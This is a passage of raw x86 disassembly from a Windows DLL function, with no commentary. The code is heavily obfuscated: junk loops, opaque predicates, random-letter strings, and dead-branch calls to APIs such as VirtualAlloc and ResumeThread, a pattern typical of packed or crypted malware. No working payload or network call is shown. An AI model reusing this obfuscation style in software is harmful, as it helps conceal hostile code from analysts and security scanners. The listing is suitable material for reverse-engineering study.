lea eax, [eax + ecx - 0xffff]
cmp eax, dword [ebp - 0x344]
jge 0x100278fa
mov dword [ebp - 0x450], 1
jmp 0x10027901
and dword [ebp - 0x450], 0
mov eax, dword [ebp - 0x27c]
cmp dword [ebp - 0x450], eax
jl 0x1002791b
mov dword [ebp - 0x6b8], 1
jmp 0x10027922
and dword [ebp - 0x6b8], 0
mov eax, dword [ebp - 0x6b8]
inc eax
jne 0x1002793d
cmp dword [ebp - 0x32c], 0
jne 0x1002793d
and dword [ebp - 0x5f0], 0
jmp 0x10027947
mov dword [ebp - 0x5f0], 1
mov eax, dword [ebp - 0x27c]
mov dword [ebp - 0x458], eax
push 4
pop eax
imul eax, eax, 3
mov ecx, dword [ebp - 0x458]
mov dword [ebp + eax - 0xcd0], ecx
mov eax, dword [ebp - 0x458]
cmp eax, dword [ebp - 0x5f0]
jle 0x10027980
mov dword [ebp - 0x460], 1
jmp 0x10027987
and dword [ebp - 0x460], 0
mov eax, dword [ebp - 0x344]
cmp dword [ebp - 0x460], eax
jge 0x100279a1
mov dword [ebp - 0x720], 1
jmp 0x100279a8
and dword [ebp - 0x720], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x720]
mov dword [ebp + eax - 0xc84], ecx
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x7b0]
call fcn.10004ee5
mov byte [ebp - 0x130], 0
mov byte [ebp - 0x12f], 0xfb
mov byte [ebp - 0x12e], 2
mov byte [ebp - 0x12d], 0x3b
mov byte [ebp - 0x12c], 0x6e
mov byte [ebp - 0x12b], 9
mov byte [ebp - 0x12a], 0x2f
mov byte [ebp - 0x129], 1
mov byte [ebp - 0x128], 1
mov byte [ebp - 0x127], 7
mov byte [ebp - 0x126], 0x57
mov byte [ebp - 0x125], 2
mov byte [ebp - 0x124], 0x40
mov byte [ebp - 0x123], 8
mov byte [ebp - 0x122], 0x5c
mov byte [ebp - 0x121], 4
mov byte [ebp - 0x120], 0x4b
mov byte [ebp - 0x11f], 6
mov byte [ebp - 0x11e], 0x56
mov byte [ebp - 0x11d], 0xb
mov byte [ebp - 0x11c], 0x5f
mov byte [ebp - 0x11b], 0xa
mov byte [ebp - 0x11a], 0
mov byte [ebp - 0x119], 5
mov byte [ebp - 0x118], 0
mov byte [ebp - 0x117], 3
mov byte [ebp - 0x116], 2
mov dword [ebp - 0x1c], 0xcb50bf34
mov dword [ebp - 0x40], 0xfffffffd
mov dword [ebp - 0x58], 5
xor eax, eax
jne 0x10027c3e
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0xbfc], eax
cmp dword [ebp - 0x1c], 0xfffffffb
jle 0x10027abf
mov dword [ebp - 0x7d8], 1
jmp 0x10027ac6
and dword [ebp - 0x7d8], 0
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0xb94], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0
jg 0x10027ae7
mov dword [ebp - 0x468], 1
jmp 0x10027aee
and dword [ebp - 0x468], 0
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x468], eax
jne 0x10027b05
mov dword [ebp - 0x5f8], 1
jmp 0x10027b0c
and dword [ebp - 0x5f8], 0
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x5f8], eax
jne 0x10027b23
mov dword [ebp - 0x470], 1
jmp 0x10027b2a
and dword [ebp - 0x470], 0
mov eax, dword [ebp - 0x1c]
cmp eax, dword [ebp - 0x470]
jg 0x10027b41
mov dword [ebp - 0x6c0], 1
jmp 0x10027b48
and dword [ebp - 0x6c0], 0
mov eax, dword [ebp - 0x6c0]
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 0
je 0x10027b69
cmp dword [ebp - 0x40], 0
je 0x10027b69
mov dword [ebp - 0x478], 1
jmp 0x10027b70
and dword [ebp - 0x478], 0
imul eax, dword [ebp - 0x478], 0xffffffff
test eax, eax
jne 0x10027b81
cmp dword [ebp - 0x40], 0
je 0x10027b93
cmp dword [ebp - 0x58], 0
je 0x10027b93
mov dword [ebp - 0x924], 1
jmp 0x10027b9a
and dword [ebp - 0x924], 0
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0xc04], eax
mov eax, dword [ebp - 0x58]
cmp eax, dword [ebp - 0x1c]
jge 0x10027bb7
mov dword [ebp - 0x600], 1
jmp 0x10027bbe
and dword [ebp - 0x600], 0
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x600], eax
jg 0x10027bd5
mov dword [ebp - 0x480], 1
jmp 0x10027bdc
and dword [ebp - 0x480], 0
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x480], eax
jge 0x10027bf6
cmp dword [ebp - 0x58], 0
jne 0x10027bf6
and dword [ebp - 0x7e0], 0
jmp 0x10027c00
mov dword [ebp - 0x7e0], 1
mov eax, dword [ebp - 0x58]
sub eax, 0x2f8c2b3c
je 0x10027c1c
mov eax, 0xc17a
test eax, eax
je 0x10027c1c
and dword [ebp - 0x760], 0
jmp 0x10027c26
mov dword [ebp - 0x760], 1
cmp dword [ebp - 0x760], 0
jne 0x10027c3e
cmp dword [ebp - 0x40], 0
jne 0x10027c3e
and dword [ebp - 0x488], 0
jmp 0x10027c48
mov dword [ebp - 0x488], 1
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x488], eax
jle 0x10027c5f
mov dword [ebp - 0x608], 1
jmp 0x10027c66
and dword [ebp - 0x608], 0
cmp dword [ebp - 0x608], 0xfe1f
jge 0x10027c7e
mov dword [ebp - 0x490], 1
jmp 0x10027c85
and dword [ebp - 0x490], 0
mov eax, dword [ebp - 0x1c]
cmp eax, dword [ebp - 0x490]
jge 0x10027c9c
mov dword [ebp - 0x6c8], 1
jmp 0x10027ca3
and dword [ebp - 0x6c8], 0
mov eax, dword [ebp - 0x6c8]
sub eax, dword [ebp - 0x1c]
je 0x10027eb5
mov dword [ebp - 0x1a4], 0
jmp 0x10027ccb
mov eax, dword [ebp - 0x1a4]
inc eax
mov dword [ebp - 0x1a4], eax
cmp dword [ebp - 0x1a4], 3
jge 0x10027ce7
mov eax, dword [ebp - 0x1a4]
mov dword [ebp + eax*4 - 0xacc], 0x8d3b
jmp 0x10027cbe
mov dword [ebp - 0x498], 0x61c1
mov dword [ebp - 0x9e8], str.xuilxwtn_bmfejrtyh_xbwqwsm_rwp_awdfxwajz
cmp dword [ebp - 0x498], 0x628b
jle 0x10027d8c
and dword [ebp - 0x2ec], 0
jmp 0x10027d21
mov eax, dword [ebp - 0x2ec]
inc eax
mov dword [ebp - 0x2ec], eax
cmp dword [ebp - 0x2ec], 0x65e8
jge 0x10027d82
and dword [ebp - 0x1ac], 0
jmp 0x10027d43
mov eax, dword [ebp - 0x1ac]
inc eax
mov dword [ebp - 0x1ac], eax
cmp dword [ebp - 0x1ac], 0x12d9
jge 0x10027d80
mov eax, dword [ebp - 0x2ec]
and eax, dword [ebp - 0x1ac]
cdq
mov dword [ebp - 0x890], eax
mov dword [ebp - 0x88c], edx
push dword [ebp - 0x88c]
push dword [ebp - 0x890]
mov ecx, 0x1007d9f8
call fcn.10004c38
jmp 0x10027d36
jmp 0x10027d14
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 0x40], 0xfffffff9
mov dword [ebp - 4], 0xb
cmp dword [ebp - 0x498], 0x606f
jge 0x10027db6
mov edx, dword [ebp - 0x9e8]
mov ecx, 0x1007d9f8
call fcn.100070aa
jmp 0x10027dd2
or dword [ebp - 4], 0xffffffff
jmp 0x10027ddc
cmp dword [ebp - 0x58], 0
jne 0x10027e01
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0xba4], eax
mov eax, dword [ebp - 0x58]
mov dword [ebp - 0xc0c], eax
xor eax, eax
jne 0x10027e01
and dword [ebp - 0x610], 0
jmp 0x10027e0b
mov dword [ebp - 0x610], 1
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xacc]
imul eax, dword [ebp - 0x610]
cmp eax, 2
je 0x10027e2f
mov dword [ebp - 0x4a0], 1
jmp 0x10027e36
and dword [ebp - 0x4a0], 0
mov eax, dword [ebp - 0x58]
cmp dword [ebp - 0x4a0], eax
jge 0x10027e4d
mov dword [ebp - 0x728], 1
jmp 0x10027e54
and dword [ebp - 0x728], 0
mov eax, dword [ebp - 0x1c]
imul eax, dword [ebp - 0x728]
cmp dword [ebp - 0x40], eax
jle 0x10027e6f
mov dword [ebp - 0x4a8], 1
jmp 0x10027e76
and dword [ebp - 0x4a8], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xacc]
cmp dword [ebp - 0x4a8], eax
jne 0x10027e97
mov dword [ebp - 0x618], 1
jmp 0x10027e9e
and dword [ebp - 0x618], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xacc]
add eax, dword [ebp - 0x618]
mov dword [ebp - 0x40], eax
jmp 0x10027f26
push 4
lea ecx, [ebp - 0xab4]
call fcn.10004e62
mov dword [ebp - 4], 0xd
mov dword [ebp - 0x284], 0
jmp 0x10027ee2
mov eax, dword [ebp - 0x284]
inc eax
mov dword [ebp - 0x284], eax
cmp dword [ebp - 0x284], 4
jge 0x10027f04
push dword [ebp - 0x284]
lea ecx, [ebp - 0xab4]
call fcn.10004f01
mov dword [eax], 0x67d625c2
jmp 0x10027ed5
push 3
lea ecx, [ebp - 0xab4]
call fcn.10004f01
mov dword [eax], 0xcbf785b8
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xab4]
call fcn.10004ee5
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x40], eax
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0x130]
and eax, 0xb0
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0x130]
or ecx, 0xb0
sub ecx, eax
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x130]
mov word [ebp + eax*2 - 0xaf4], cx
mov dword [ebp - 0xe4], 0xe0648261
mov dword [ebp - 0x150], 0xf5872d9e
mov dword [ebp - 0x7e8], 1
mov dword [ebp - 0xe4], 0xffffffef
jmp 0x10027fa2
mov eax, dword [ebp - 0xe4]
dec eax
mov dword [ebp - 0xe4], eax
cmp dword [ebp - 0xe4], 0xffffffea
jne 0x100280ee
mov dword [ebp - 0x334], 0x664d
mov dword [ebp - 0x930], 1
mov eax, dword [ebp - 0x334]
sub eax, 0x12645f82
je 0x10027fef
mov dword [ebp - 0x150], 0x85fa
cmp dword [ebp - 0x150], 0
je 0x10027fef
mov dword [ebp - 0x4c0], 1
jmp 0x10027ff6
and dword [ebp - 0x4c0], 0
cmp dword [ebp - 0x334], 0xffff
jae 0x1002800e
mov dword [ebp - 0x4b0], 1
jmp 0x10028015
and dword [ebp - 0x4b0], 0
cmp dword [ebp - 0x4b0], 0
jae 0x1002802a
mov dword [ebp - 0x6d0], 1
jmp 0x10028031
and dword [ebp - 0x6d0], 0
mov eax, dword [ebp - 0x6d0]
sub eax, 6
cmp eax, dword [ebp - 0x334]
jl 0x1002804e
mov dword [ebp - 0x4b8], 1
jmp 0x10028055
and dword [ebp - 0x4b8], 0
mov eax, dword [ebp - 0xe4]
cmp eax, dword [ebp - 0x4b8]
jle 0x1002806f
mov dword [ebp - 0x620], 1
jmp 0x10028076
and dword [ebp - 0x620], 0
imul eax, dword [ebp - 0x620], 0
test eax, eax
je 0x1002809b
xor eax, eax
inc eax
je 0x1002809b
cmp dword [ebp - 0x7e8], 0
je 0x1002809b
mov dword [ebp - 0x770], 1
jmp 0x100280a2
and dword [ebp - 0x770], 0
mov eax, dword [ebp - 0x4c0]
cmp eax, dword [ebp - 0x770]
jle 0x100280bc
mov dword [ebp - 0x4c8], 1
jmp 0x100280c3
and dword [ebp - 0x4c8], 0
mov eax, dword [ebp - 0x4c8]
mov dword [ebp - 0x930], eax
mov byte [ebp - 0x9e], 0
movzx eax, byte [ebp - 0x9e]
test eax, eax
je 0x100280e9
push 0
call dword [sym.imp.KERNEL32.dll_ResumeThread]
jmp 0x10027f95
mov eax, dword [ebp - 0x150]
mov dword [ebp - 0x150], eax
mov dword [ebp - 0x20], 2
and dword [ebp - 0xe8], 0
jmp 0x10028112
mov eax, dword [ebp - 0x20]
inc eax
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0x1b
jae 0x10028f67
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x130]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x20], eax
jne 0x10028bf2
mov dword [ebp - 0x30], 0
jmp 0x10028147
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 1
jge 0x1002815d
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x304], 0
jmp 0x10028140
mov dword [ebp - 0x30], 0
jmp 0x1002816d
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 4
jge 0x10028183
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0xe5c], 0xfffffff9
jmp 0x10028166
mov dword [ebp - 0x30], 0
jmp 0x10028193
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 1
jge 0x100281a9
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x2f4], 0x962ee6d0
jmp 0x1002818c
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x304], 0xfffffffd
jmp 0x100281d7
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x304]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x304], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x304], 0x14
jne 0x10028366
mov dword [ebp - 0x4d0], 0x58fb770a
mov dword [ebp - 0x628], 0x2e9
mov dword [ebp - 0xa1c], str.srgjjn_hmhlzc_fmvb_tzhqqk_hmsm_cfv_eydgtzmt_lhcgv_nuqrus
cmp dword [ebp - 0x628], 0x300
jle 0x100282ee
and dword [ebp - 0x1c4], 0
jmp 0x1002822f
mov eax, dword [ebp - 0x1c4]
inc eax
mov dword [ebp - 0x1c4], eax
cmp dword [ebp - 0x1c4], 0xb5
jge 0x100282ee
and dword [ebp - 0x1bc], 0
jmp 0x10028255
mov eax, dword [ebp - 0x1bc]
inc eax
mov dword [ebp - 0x1bc], eax
cmp dword [ebp - 0x1bc], 0x1f13
jge 0x100282e9
and dword [ebp - 0x28c], 0
jmp 0x1002827b
mov eax, dword [ebp - 0x28c]
inc eax
mov dword [ebp - 0x28c], eax
cmp dword [ebp - 0x28c], 0x3fb7
jge 0x100282e4
mov eax, dword [ebp - 0x1bc]
sub eax, dword [ebp - 0x28c]
xor eax, dword [ebp - 0x1c4]
cdq
mov dword [ebp - 0x89c], eax
mov dword [ebp - 0x898], edx
push dword [ebp - 0x898]
push dword [ebp - 0x89c]
lea ecx, [ebp - 0xde0]
call fcn.10001a95
pop ecx
pop ecx
mov dword [ebp - 0x7f0], eax
mov ecx, dword [ebp - 0x7f0]
call fcn.10004c18
push eax
call fcn.1004af7c
pop ecx
lea ecx, [ebp - 0xde0]
call fcn.10004c0e
jmp 0x1002826e
jmp 0x10028248
jmp 0x10028222
mov byte [ebp - 0xa0], 0
mov dword [ebp - 4], 0xe
cmp dword [ebp - 0x628], 0x1d1
jge 0x10028314
push dword [ebp - 0xa1c]
call fcn.1004af7c
pop ecx
jmp 0x10028330
or dword [ebp - 4], 0xffffffff
jmp 0x1002833a
movzx eax, byte [ebp - 0xa0]
test eax, eax
je 0x10028354
push 0x19b3
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
mov eax, dword [ebp - 0x4d0]
inc eax
mov dword [ebp - 0x4d0], eax
jmp 0x100281bc
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x2f4], 3
jmp 0x10028394
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2f4]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x2f4], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x2f4], 0
jl 0x100283c7
mov byte [ebp - 0xb2], 0
movzx eax, byte [ebp - 0xb2]
test eax, eax
je 0x100283c5
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetWindowTextW]
jmp 0x10028379
mov eax, dword [ebp - 0x20]
movzx eax, byte [ebp + eax - 0x130]
inc eax
mov dword [ebp - 0xe8], eax
mov dword [ebp - 0xf8], 0x9c4185a1
mov dword [ebp - 0x70], 0xbe39e3c
mov dword [ebp - 0x348], 2
mov dword [ebp - 0x114], 0xfffffff9
mov dword [ebp - 0x1cc], 0
jmp 0x10028417
mov eax, dword [ebp - 0x1cc]
inc eax
mov dword [ebp - 0x1cc], eax
cmp dword [ebp - 0x1cc], 1
jge 0x10028433
mov eax, dword [ebp - 0x1cc]
mov dword [ebp + eax*4 - 0x4f8], 0
jmp 0x1002840a
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x4f8], 0x61c0
mov dword [ebp - 0xf8], 0x61c0
mov eax, dword [ebp - 0xf8]
mov dword [ebp - 0x70], eax
mov eax, dword [ebp - 0x70]
mov dword [ebp - 0x348], eax
cmp dword [ebp - 0x348], 0x6ff5
jle 0x10028478
mov dword [ebp - 0x6d8], 1
jmp 0x1002847f
and dword [ebp - 0x6d8], 0
mov eax, dword [ebp - 0x114]
cmp dword [ebp - 0x6d8], eax
jne 0x10028499
mov dword [ebp - 0x4d8], 1
jmp 0x100284a0
and dword [ebp - 0x4d8], 0
cmp dword [ebp - 0x114], 1
je 0x100284b5
mov dword [ebp - 0x630], 1
jmp 0x100284bc
and dword [ebp - 0x630], 0
mov eax, dword [ebp - 0x4d8]
cmp eax, dword [ebp - 0x630]
jle 0x100284d7
mov eax, 0x5a8b060d
test eax, eax
je 0x10028566
push 2
lea ecx, [ebp - 0xac0]
call fcn.10004e62
mov dword [ebp - 4], 0x10
mov dword [ebp - 0x294], 0
jmp 0x10028504
mov eax, dword [ebp - 0x294]
inc eax
mov dword [ebp - 0x294], eax
cmp dword [ebp - 0x294], 2
jge 0x10028526
push dword [ebp - 0x294]
lea ecx, [ebp - 0xac0]
call fcn.10004f01
mov dword [eax], 0xd017
jmp 0x100284f7
mov dword [ebp - 0x70], 0
jmp 0x10028536
mov eax, dword [ebp - 0x70]
inc eax
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 0x10
je 0x10028552
push 0
lea ecx, [ebp - 0xac0]
call fcn.10004f01
cmp dword [eax], 0
je 0x10028550
jmp 0x10028552
jmp 0x1002852f
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xac0]
call fcn.10004ee5
jmp 0x10028ad4
mov dword [ebp - 0x4e0], 0x3642
mov dword [ebp - 0x93c], str.hrxl_surahccd_ebm_fcaaez_etxpn_srove_xfusydjmv_dtegukkvt_esnmxkv_etsrta_temew
cmp dword [ebp - 0x4e0], 0x37d7
jle 0x10028693
and dword [ebp - 0x1dc], 0
jmp 0x100285a0
mov eax, dword [ebp - 0x1dc]
inc eax
mov dword [ebp - 0x1dc], eax
cmp dword [ebp - 0x1dc], 0x132b
jge 0x10028693
and dword [ebp - 0x29c], 0
jmp 0x100285c6
mov eax, dword [ebp - 0x29c]
inc eax
mov dword [ebp - 0x29c], eax
cmp dword [ebp - 0x29c], 0x172e
jge 0x1002868e
and dword [ebp - 0x1d4], 0
jmp 0x100285ec
mov eax, dword [ebp - 0x1d4]
inc eax
mov dword [ebp - 0x1d4], eax
cmp dword [ebp - 0x1d4], 0x7272
jge 0x10028689
and dword [ebp - 0x2d0], 0
jmp 0x10028612
mov eax, dword [ebp - 0x2d0]
inc eax
mov dword [ebp - 0x2d0], eax
cmp dword [ebp - 0x2d0], 0x1f0
jge 0x10028684
mov eax, dword [ebp - 0x1d4]
cdq
idiv dword [ebp - 0x2d0]
mov eax, dword [ebp - 0x1dc]
add eax, dword [ebp - 0x29c]
and eax, edx
cdq
mov dword [ebp - 0x8a8], eax
mov dword [ebp - 0x8a4], edx
push dword [ebp - 0x8a4]
push dword [ebp - 0x8a8]
lea ecx, [ebp - 0xd08]
call fcn.10001a95
pop ecx
pop ecx
mov dword [ebp - 0x7f8], eax
mov ecx, dword [ebp - 0x7f8]
call fcn.10004c18
push eax
call fcn.1004af7c
pop ecx
lea ecx, [ebp - 0xd08]
call fcn.10004c0e
jmp 0x10028605
jmp 0x100285df
jmp 0x100285b9
jmp 0x10028593
mov dword [ebp - 0x48], 0xfffffffe
mov dword [ebp - 4], 0x11
cmp dword [ebp - 0x4e0], 0x35ab
jge 0x100286b9
push dword [ebp - 0x93c]
call fcn.1004af7c
pop ecx
jmp 0x100286d5
or dword [ebp - 4], 0xffffffff
jmp 0x100286df
mov dword [ebp - 0xa10], 1
cmp dword [ebp - 0x70], 0xffffffff
jge 0x100286fb
mov dword [ebp - 0x734], 1
jmp 0x10028702
and dword [ebp - 0x734], 0
mov eax, dword [ebp - 0x734]
neg eax
cmp eax, dword [ebp - 0x48]
jle 0x1002871b
mov dword [ebp - 0x4e8], 1
jmp 0x10028722
and dword [ebp - 0x4e8], 0
mov eax, dword [ebp - 0x114]
cmp dword [ebp - 0x4e8], eax
jl 0x1002873c
mov dword [ebp - 0x638], 1
jmp 0x10028743
and dword [ebp - 0x638], 0
imul eax, dword [ebp - 0x638], 0xc6d0
cmp eax, 0xfffffffc
jb 0x1002875e
mov dword [ebp - 0x800], 1
jmp 0x10028765
and dword [ebp - 0x800], 0
cmp dword [ebp - 0xf8], 5
jge 0x1002877a
mov dword [ebp - 0x4f0], 1
jmp 0x10028781
and dword [ebp - 0x4f0], 0
cmp dword [ebp - 0x4f0], 0x67684abf
jl 0x10028799
mov dword [ebp - 0x6e0], 1
jmp 0x100287a0
and dword [ebp - 0x6e0], 0
cmp dword [ebp - 0x6e0], 0x8cb6
jne 0x100287be
cmp dword [ebp - 0xf8], 0
jne 0x100287be
and dword [ebp - 0x9f0], 0
jmp 0x100287c8
mov dword [ebp - 0x9f0], 1
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x48]
cmp ecx, dword [ebp + eax - 0x4f8]
je 0x100287e6
mov dword [ebp - 0x640], 1
jmp 0x100287ed
and dword [ebp - 0x640], 0
mov eax, dword [ebp - 0x348]
cmp eax, dword [ebp - 0x640]
jle 0x10028807
mov dword [ebp - 0x500], 1
jmp 0x1002880e
and dword [ebp - 0x500], 0
mov eax, dword [ebp - 0x500]
sub eax, dword [ebp - 0x48]
je 0x10028aab
mov dword [ebp - 0x1ec], 0xfffffffc
mov dword [ebp - 0x520], 0xffffffff
mov dword [ebp - 0x750], 0x52d2
mov dword [ebp - 0x948], str.sfcdnc_yluhucs_lvfxojzk_kuxd_jcemiywn_kvpjplx_hni_hbcy_qbk_rndigmze_uqmjksuj_qioo_qwyzs_bddr
cmp dword [ebp - 0x750], 0x560a
jle 0x100288fe
and dword [ebp - 0x1e4], 0
jmp 0x1002886b
mov eax, dword [ebp - 0x1e4]
inc eax
mov dword [ebp - 0x1e4], eax
cmp dword [ebp - 0x1e4], 0x6e79
jge 0x100288f6
and dword [ebp - 0x2d8], 0
jmp 0x1002888d
mov eax, dword [ebp - 0x2d8]
inc eax
mov dword [ebp - 0x2d8], eax
cmp dword [ebp - 0x2d8], 0x709c
jge 0x100288f1
mov eax, dword [ebp - 0x1e4]
imul eax, dword [ebp - 0x2d8]
cdq
mov dword [ebp - 0x8b4], eax
mov dword [ebp - 0x8b0], edx
push dword [ebp - 0x8b0]
push dword [ebp - 0x8b4]
lea ecx, [ebp - 0xd68]
call fcn.10001a95
pop ecx
pop ecx
mov dword [ebp - 0x808], eax
mov ecx, dword [ebp - 0x808]
call fcn.10004c18
push eax
call fcn.1004af7c
pop ecx
lea ecx, [ebp - 0xd68]
call fcn.10004c0e
jmp 0x10028880
jmp 0x1002885e
push 0
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
mov dword [ebp - 0x740], 1
mov dword [ebp - 4], 0x13
cmp dword [ebp - 0x750], 0x4fec
jge 0x10028927
push dword [ebp - 0x948]
call fcn.1004af7c
pop ecx
jmp 0x10028943
or dword [ebp - 4], 0xffffffff
jmp 0x1002894d
mov eax, dword [ebp - 0x1ec]
cmp eax, dword [ebp - 0x114]
jne 0x10028967
mov dword [ebp - 0x508], 1
jmp 0x1002896e
and dword [ebp - 0x508], 0
cmp dword [ebp - 0x508], 3
jae 0x10028983
mov dword [ebp - 0x648], 1
jmp 0x1002898a
and dword [ebp - 0x648], 0
mov eax, dword [ebp - 0x48]
cmp dword [ebp - 0x648], eax
jg 0x100289a1
mov dword [ebp - 0x510], 1
jmp 0x100289a8
and dword [ebp - 0x510], 0
mov eax, dword [ebp - 0xf8]
cmp dword [ebp - 0x510], eax
jle 0x100289c2
mov dword [ebp - 0x6e8], 1
jmp 0x100289c9
and dword [ebp - 0x6e8], 0
mov eax, dword [ebp - 0x1ec]
sub eax, dword [ebp - 0x6e8]
sub eax, dword [ebp - 0x48]
cmp eax, dword [ebp - 0x48]
jle 0x100289e1
cmp dword [ebp - 0x48], 0
cmp dword [ebp - 0x48], 0x6ac8918c
jge 0x100289f6
mov dword [ebp - 0x518], 1
jmp 0x100289fd
and dword [ebp - 0x518], 0
mov eax, dword [ebp - 0x48]
cmp dword [ebp - 0x518], eax
jge 0x10028a14
mov dword [ebp - 0x810], 1
jmp 0x10028a1b
and dword [ebp - 0x810], 0
mov eax, dword [ebp - 0x1ec]
cmp eax, dword [ebp - 0x114]
jle 0x10028a38
cmp dword [ebp - 0x70], 0
jne 0x10028a38
and dword [ebp - 0x650], 0
jmp 0x10028a42
mov dword [ebp - 0x650], 1
mov eax, dword [ebp - 0x650]
mov dword [ebp - 0x520], eax
mov eax, dword [ebp - 0x520]
mov dword [ebp - 0x740], eax
mov eax, dword [ebp - 0x740]
imul eax, dword [ebp - 0x1ec]
test eax, eax
jne 0x10028a77
mov dword [ebp - 0x528], 1
jmp 0x10028a7e
and dword [ebp - 0x528], 0
cmp dword [ebp - 0x528], 0x9d40f69
jne 0x10028a96
mov dword [ebp - 0x658], 1
jmp 0x10028a9d
and dword [ebp - 0x658], 0
mov eax, dword [ebp - 0x658]
mov dword [ebp - 0xa10], eax
jmp 0x10028ad4
mov byte [ebp - 0x89], 0
movzx eax, byte [ebp - 0x89]
test eax, eax
je 0x10028ad4
push 0x1f72
push 0x13bf
push 0x378
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov byte [ebp - 0xb4], 0
movzx eax, byte [ebp - 0xb4]
test eax, eax
je 0x10028bd8
mov dword [ebp - 0x530], 0x5c
mov dword [ebp - 0x818], str.vpp_huu_yipicjw_sxcce
cmp dword [ebp - 0x530], 0x3aa
jle 0x10028b81
and dword [ebp - 0x2a4], 0
jmp 0x10028b20
mov eax, dword [ebp - 0x2a4]
inc eax
mov dword [ebp - 0x2a4], eax
cmp dword [ebp - 0x2a4], 0x2a4
jge 0x10028b81
and dword [ebp - 0x1f4], 0
jmp 0x10028b42
mov eax, dword [ebp - 0x1f4]
inc eax
mov dword [ebp - 0x1f4], eax
cmp dword [ebp - 0x1f4], 0x607b
jge 0x10028b7f
mov eax, dword [ebp - 0x2a4]
and eax, dword [ebp - 0x1f4]
cdq
mov dword [ebp - 0x8c0], eax
mov dword [ebp - 0x8bc], edx
push dword [ebp - 0x8bc]
push dword [ebp - 0x8c0]
mov ecx, 0x1007d9f8
call fcn.10004c38
jmp 0x10028b35
jmp 0x10028b13
push 0
push 0x1d06
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
mov dword [ebp - 4], 0x15
cmp dword [ebp - 0x530], 0x31
jge 0x10028bb2
mov edx, dword [ebp - 0x818]
mov ecx, 0x1007d9f8
call fcn.100070aa
jmp 0x10028bce
or dword [ebp - 4], 0xffffffff
jmp 0x10028bd8
mov eax, dword [ebp - 0x20]
movzx eax, byte [ebp + eax - 0x130]
mov ecx, dword [ebp - 0x20]
lea eax, [ecx + eax - 1]
mov dword [ebp - 0x20], eax
jmp 0x1002810a
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0xe8]
movzx eax, byte [ebp + eax - 0x132]
movzx eax, word [ebp + eax*2 - 0xaf4]
mov ecx, dword [ebp - 0x20]
movzx ecx, byte [ebp + ecx - 0x12f]
and ecx, eax
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0xe8]
movzx eax, byte [ebp + eax - 0x132]
movzx eax, word [ebp + eax*2 - 0xaf4]
mov edx, dword [ebp - 0x20]
movzx edx, byte [ebp + edx - 0x12f]
and edx, eax
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0xe8]
movzx eax, byte [ebp + eax - 0x132]
movzx eax, word [ebp + eax*2 - 0xaf4]
mov esi, dword [ebp - 0x20]
movzx esi, byte [ebp + esi - 0x12f]
add esi, eax
sub esi, edx
sub esi, ecx
mov eax, dword [ebp - 0x20]
movzx eax, byte [ebp + eax - 0x130]
mov word [ebp + eax*2 - 0xaf4], si
mov dword [ebp - 0x538], 0xb2e
mov dword [ebp - 0x820], str.czqvfbtzz_moxlguk_uldohdd_fxyj_jgcv_hllv_oidbmc_flmjqehq_garwbbvt_ubrao_nwp
cmp dword [ebp - 0x538], 0xe76
jle 0x10028d74
and dword [ebp - 0x2e0], 0
jmp 0x10028cb5
